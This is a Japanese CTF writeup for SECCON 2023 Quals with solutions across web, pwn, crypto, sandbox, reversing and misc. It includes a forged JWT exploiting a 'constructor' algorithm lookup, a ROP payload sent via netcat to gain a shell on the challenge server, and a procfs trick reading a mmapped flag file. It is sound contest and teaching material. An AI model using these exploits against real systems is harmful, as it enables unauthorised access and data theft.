SECCON CTF 2023 Quals writeup

https://ctf.seccon.jp/

昼間はサイクリングに行っていて、夜からの参加。

![IMG_5577.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d1d54038-25db-4cd0-84e7-6f744e33ed06.jpeg)

国内で決勝進出が10チーム。20チームならともかく10チームは無理だなぁと思っていたけど、結果を見るに後2問くらいということは、ワンチャンくらいはあったのかもしれない。まあ、そのあと2問は簡単ではないだろうが。

7問、613点、79位。

![score.quals.seccon.jp_challenges.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/65c8246a-b183-cc0e-67f6-e05ad996d1a7.png)

![score.quals.seccon.jp_teams_574.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/69f6ca65-cabb-0f2a-57c1-48efe8befcfc.png)

# web

## Bad JWT

自前実装のJWT。

```jwt.js
:
const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
 :
const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}
 :
```

`algorithms` には、`Object` のメソッドも生えているというのが脆弱性。`toLowerCase()` があるので、小文字のみのメソッドでないといけない。`constructor`。

`{"alg":"constructor","typ":"JWT"}` をBase64変換して、`eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9`。`{"isAdmin":true}` は `eyJpc0FkbWluIjp0cnVlfQ` 。ローカルで動かしてみると、（`constructor` に渡して生成される）署名は `{"alg":"constructor","typ":"JWT"}{"isAdmin":true}` となっていたので、これをBase64変換して `signature` にする。なぜ `.` が消えるのだろう。

Cookieの `session` に `eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ` を設定するとフラグが得られた。

`SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}`

## SimpleCalc

解けなかった。

`eval` で計算しているので、XSSは簡単。CSPのせいで情報が持ち出せない。長いパラメタを突っ込んでHTTP 413でバグらせる非想定解法と、Service Workerを使う想定解法があるらしい。全然思いつかなかった。

# pwnable

## rop-2.35

> The number of ROP gadgets is declining worldwide.

最近のlibc事情は分からない。解けなさそうだが見るだけ見てみるか……。

```main.c
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}
```

デコンパイル結果。

```chall.txt
 :
0000000000401156 <main>:
  401156:	f3 0f 1e fa          	endbr64 
  40115a:	55                   	push   rbp
  40115b:	48 89 e5             	mov    rbp,rsp
  40115e:	48 83 ec 10          	sub    rsp,0x10
  401162:	48 8d 05 9b 0e 00 00 	lea    rax,[rip+0xe9b]        # 402004 <_IO_stdin_used+0x4>
  401169:	48 89 c7             	mov    rdi,rax
  40116c:	e8 df fe ff ff       	call   401050 <system@plt>
  401171:	48 8d 45 f0          	lea    rax,[rbp-0x10]
  401175:	48 89 c7             	mov    rdi,rax
  401178:	b8 00 00 00 00       	mov    eax,0x0
  40117d:	e8 de fe ff ff       	call   401060 <gets@plt>
  401182:	90                   	nop
  401183:	c9                   	leave  
  401184:	c3                   	ret    
```

`gets` は引数をそのまま返り値にするので、 `ret` の時点で `rax` が `buf` になる。`gets` で書き込む文字列の先頭を `/bin/sh\0` にして、401169に飛ばせばいいよね？　libc-2.35は何も関係が無いのでは？

で、動かず。`sysytem` の引数は `"/bin/sh"` になっているのに、

```
Enter something:
sh: 1: V@: not found
```

となる。最近導入された何かの緩和策か？　そんなわけないだろ……とハマった。

`"/bin/sh"` はスタックの上のほうにあるので、 `system` の内部で上書きされてしまうのが原因だった。

```shell-session
$ hexdump -C payload
00000000  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
00000010  2f 62 69 6e 2f 73 68 00  84 11 40 00 00 00 00 00  |/bin/sh...@.....|
00000020  84 11 40 00 00 00 00 00  69 11 40 00 00 00 00 00  |..@.....i.@.....|
00000030  0a                                                |.|
00000031
$ cat payload - | nc rop-2-35.seccon.games 9999
Enter something:
cat flag*
SECCON{i_miss_you_libc_csu_init_:cry:}
```

Saved RBPを `"/bin/sh"` にして、 `ret` に2回飛ばすことによってスタックの位置を調整し、`system` 内部のRBPを保存する処理で、 `buf` の先頭に `"/bin/sh"` が書き込まれるようにする。

`SECCON{i_miss_you_libc_csu_init_:cry:}`

# crypto

## plai_n_rsa

```problem.py
import os

from Crypto.Util.number import bytes_to_long, getPrime

flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)

print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
```

$d$ を教えてくれるが、 $n$ を教えてくれないRSA。わざわざ教えてくれるのだから $hint=p+q$ は使うのだろう。$\phi = n-(p+q)+1$ から、$n=\phi+hint-1$。あとは $\phi$　が分かれば良い。

$d = e^{-1} \mod \phi$ なので、 $ed = 1 + k\phi$。$k$ を総当たり。

```solve.py
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

from Crypto.Util.number import *

phi = e*d-1
for k in range(1, 0x20000):
  if phi%k==0:
    n = phi//k+hint-1
    m = pow(c, d, n)
    try:
      print(long_to_bytes(m).decode())
    except:
      pass
```

```shell-session
$ python3 solve.py
SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}
```

`SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}`

## RSA 4.0

解けなかった。

```problem.sage
import os

from Crypto.Util.number import bytes_to_long, getStrongPrime

m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
    1 * m
    + (3 * m + 1 * p + 337 * q) * i
    + (3 * m + 13 * p + 37 * q) * j
    + (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")
```

4.0が何なのかと思ったら、四元数を使ったRSA。計算中に $pq$ が出てくると、 $\mod n$ では $0$ になって消えて、それで何とかなるのかな。

# sandbox

## crabox

せめて、warmupは全て解きたい……と思ったが、解けなかった。

```rs
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
```

このRustコードをコンパイルして、コンパイルが通ったかどうかを教えてくれる。

Rustにはマクロがあるので、こういうことでしょ？

```rs
fn main() {

}

# 関数本文のx文字目がyならばコンパイルを通すような check マクロの定義

[#check]
fn f() {

    /* Steal me: {{FLAG}} */
}
```

Rustは全然分からないんだよな。ChatGPTさんお願いします！！！　GPT-3.5だといまいち話が通じないので、20ドル払って、GPT-4にした。

https://chat.openai.com/share/b73128e1-9da6-453b-b59e-a4d45abd6580

なんか良さそうな気がする！　追加の依存ライブラリ？　クレート？　があるけど、その辺はまあ何とか書き換えられるだろ。

で、試してみたら、同じクレート？　ファイル？　にあるのはNGと言われた。ChatGPTに聞いても別クレートにしろと言われるだけ。20ドル払ったのに解けなくて悲しい。

```shell-session
$ rustc test.rs
error: can't use a procedural macro from the same crate that defines it
  --> test.rs:25:3
   |
25 | #[check]
   |   ^^^^^
```

# reversing

## jumpout

データ領域に飛んでいて（？）Ghidraだと解析しきれないし、GDBも何か動かない。

```cpp
uint FUN_00101360(uint param_1,uint param_2)
{
  long in_FS_OFFSET;
  
  if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail((long)(int)param_2,param_2,7);
  }
  return param_1 ^ param_2 ^ 0x55 ^ (uint)(byte)(&DAT_00104010)[(int)param_2];
}
```

というコードを見つけて、 `DAT_00104010` のあたりをダンプしてみると、こうなっていた。

```
00003000  00 00 00 00 00 00 00 00  08 40 00 00 00 00 00 00  |.........@......|
00003010  f6 f5 31 c8 81 15 14 68  f6 35 e5 3e 82 09 ca f1  |..1....h.5.>....|
00003020  8a a9 df df 33 2a 6d 81  f5 a6 85 df 17 00 00 00  |....3*m.........|
00003030  f0 e4 25 dd 9f 0b 3c 50  de 04 ca 3f af 30 f3 c7  |..%...<P...?.0..|
00003040  aa b2 fd ef 17 18 57 b4  d0 8f b8 f4 23 00 47 43  |......W.....#.GC|
00003050  43 3a 20 28 55 62 75 6e  74 75 20 31 31 2e 34 2e  |C: (Ubuntu 11.4.|
```

直後の3030にxorを取ったら良い感じになりそうなデータがあるので、これが `param1` かな？

```solve.py
A = [
  0xf6, 0xf5, 0x31, 0xc8, 0x81, 0x15, 0x14, 0x68, 0xf6, 0x35, 0xe5, 0x3e, 0x82, 0x09, 0xca, 0xf1,
  0x8a, 0xa9, 0xdf, 0xdf, 0x33, 0x2a, 0x6d, 0x81, 0xf5, 0xa6, 0x85, 0xdf, 0x17,
]
B = [
  0xf0, 0xe4, 0x25, 0xdd, 0x9f, 0x0b, 0x3c, 0x50, 0xde, 0x04, 0xca, 0x3f, 0xaf, 0x30, 0xf3, 0xc7,
  0xaa, 0xb2, 0xfd, 0xef, 0x17, 0x18, 0x57, 0xb4, 0xd0, 0x8f, 0xb8, 0xf4, 0x23,
]

ans = ""
for i in range(len(A)):
  ans += chr(A[i]^B[i]^0x55^i)
print(ans)
```

```shell-session
$ python3 solve.py
SECCON{jump_table_everywhere}
```

## Sickle

> Pickle infected with COVID-19

```problem.py
import pickle, io


payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)

if isinstance(res, bool) and res:
    print("Congratulations!!")
else:
    print("Nope")
```

Pickleしたものは `pickletools.dis` で逆アセンブルできる。

でも、途中の `STOP` で切れる。切れたところまでを見るに、 `f.seek` で `STOP` を飛ばしているっぽい。同じようなことを繰り返しているが、その先を無理矢理読もうとしても上手く行かなかった。 `pickletools.dis` はスタックの状態やメモ（？）の状態をちゃんと見ていて、おかしくなるとエラーになる。そういうチェックは要らないから、単に逆アセンブルだけしてほしいのだが……。

`pickletools.genops` だと少しマシだった。 `STOP` では止まり、スタックの状態も見ているが、メモ（？）はスルーされた。

```
>>> for x in pickletools.genops(payload.replace(b".", b"\x85")):
...   print(x[2], x[0].name, x[1])
0 SHORT_BINUNICODE builtins
10 SHORT_BINUNICODE getattr
19 STACK_GLOBAL None
20 MEMOIZE None
 :
827 REDUCE None
828 MARK None
829 INT 8215359690687096682
850 INT 1862662588367509514
871 INT 8350772864914849965
892 INT 11616510986494699232
914 INT 3711648467207374797
935 INT 9722127090168848805
956 INT 16780197523811627561
978 INT 18138828537077112905
1000 LIST None
1001 TUPLE1 None
1002 REDUCE None
1003 TUPLE1 None
```

ちゃんと解析していないけれど、この辺を見て、こんな感じかな？　で解けた。

```
 :
636 STACK_GLOBAL None
637 SHORT_BINUNICODE __xor__
646 TUPLE2 None
647 REDUCE None
648 MEMOIZE None
649 POP None
650 INT 1244422970072434993
671 MEMOIZE None
 :
684 SHORT_BINUNICODE builtins
694 SHORT_BINUNICODE pow
699 STACK_GLOBAL None
700 GET 15
704 GET 10
708 GET 7
711 TUPLE1 None
712 REDUCE None
713 GET 16
717 TUPLE2 None
718 REDUCE None
719 INT 65537
726 INT 18446744073709551557
748 TUPLE3 None
 :
```

```solve.py
e = 65537
n = 18446744073709551557
C = [
  8215359690687096682,
  1862662588367509514,
  8350772864914849965,
  11616510986494699232,
  3711648467207374797,
  9722127090168848805,
  16780197523811627561,
  18138828537077112905,
]

from Crypto.Util.number import *

flag = ""
d = pow(e, -1, n-1)
x = 1244422970072434993
for c in C:
  flag += long_to_bytes(pow(c, d, n)^x).decode()[::-1]
  x = c
print(flag)
```

```shell-session
$ python3 solve.py
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
```

`SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}`

## Perfect Blu

解けなかった。

問題名が格好良くて覗いてみたら、BluはBlu-rayのBluだった。なるほど。

# misc

## readme 2023

```server.py
import mmap
import os
import signal

signal.alarm(60)

try:
    f = open("./flag.txt", "r")
    mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
    print("[-] Flag does not exist")
    exit(1)

while True:
    path = input("path: ")

    if 'flag.txt' in path:
        print("[-] Path not allowed")
        exit(1)
    elif 'fd' in path:
        print("[-] No more fd trick ;)")
        exit(1)

    with open(os.path.realpath(path), "rb") as f:
        print(f.read(0x100))
```

どうせprocfsだろうと探すと、mmapしたファイルは /proc/self/map_files/7f65be843000-7f65be844000 などで読める。ただし、アドレスはランダム化されている。

/proc/self/maps にアドレスが書かれているものの、先頭256バイトには無い。

```maps
55fd53241000-55fd53242000 r--p 00000000 08:40 2252586                    /usr/local/bin/python3.11
55fd53242000-55fd53243000 r-xp 00001000 08:40 2252586                    /usr/local/bin/python3.11
55fd53243000-55fd53244000 r--p 00002000 08:40 2252586                    /usr/local/bin/python3.11
 :
7f65be661000-7f65be687000 r--p 00000000 08:40 2241564                    /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be687000-7f65be7dc000 r-xp 00026000 08:40 2241564                    /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be7dc000-7f65be82f000 r--p 0017b000 08:40 2241564                    /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be82f000-7f65be833000 r--p 001ce000 08:40 2241564                    /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be833000-7f65be835000 rw-p 001d2000 08:40 2241564                    /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be835000-7f65be842000 rw-p 00000000 00:00 0
7f65be843000-7f65be844000 r--s 00000000 08:40 2240616                    /home/ctf/flag.txt
7f65be844000-7f65be932000 r--p 00000000 08:40 2252783                    /usr/local/lib/libpython3.11.so.1.0
7f65be932000-7f65beae6000 r-xp 000ee000 08:40 2252783                    /usr/local/lib/libpython3.11.so.1.0
7f65beae6000-7f65bebc9000 r--p 002a2000 08:40 2252783                    /usr/local/lib/libpython3.11.so.1.0
7f65bebc9000-7f65bebf8000 r--p 00384000 08:40 2252783                    /usr/local/lib/libpython3.11.so.1.0
7f65bebf8000-7f65bed29000 rw-p 003b3000 08:40 2252783                    /usr/local/lib/libpython3.11.so.1.0
```

他に何か無いか探すと、 /proc/self/syscall にlibcのアドレスが書かれていた。このアドレスと flag.txt がmmapされたアドレスのオフセットは固定だろう。

```
0 0x0 0x55fd552d3590 0x2000 0x2 0x0 0x0 0x7fff0d7d1848 0x7f65be75907d
```

ローカルで動かして差分を計算すると、0xe9f83。

```
$ nc readme-2023.seccon.games 2023
path: /proc/self/syscall
b'0 0x7 0x560231b766b0 0x400 0x2 0x0 0x0 0x7ffdca68cdf8 0x7f616367107d\n'
path: /proc/self/map_files/7f616375b000-7f616375c000
b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n'
path: ^C
```

`SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}`

# welcome

## Welcome

いつものDiscord。

`SECCON{Welcome_to_SECCON_CTF_2023}`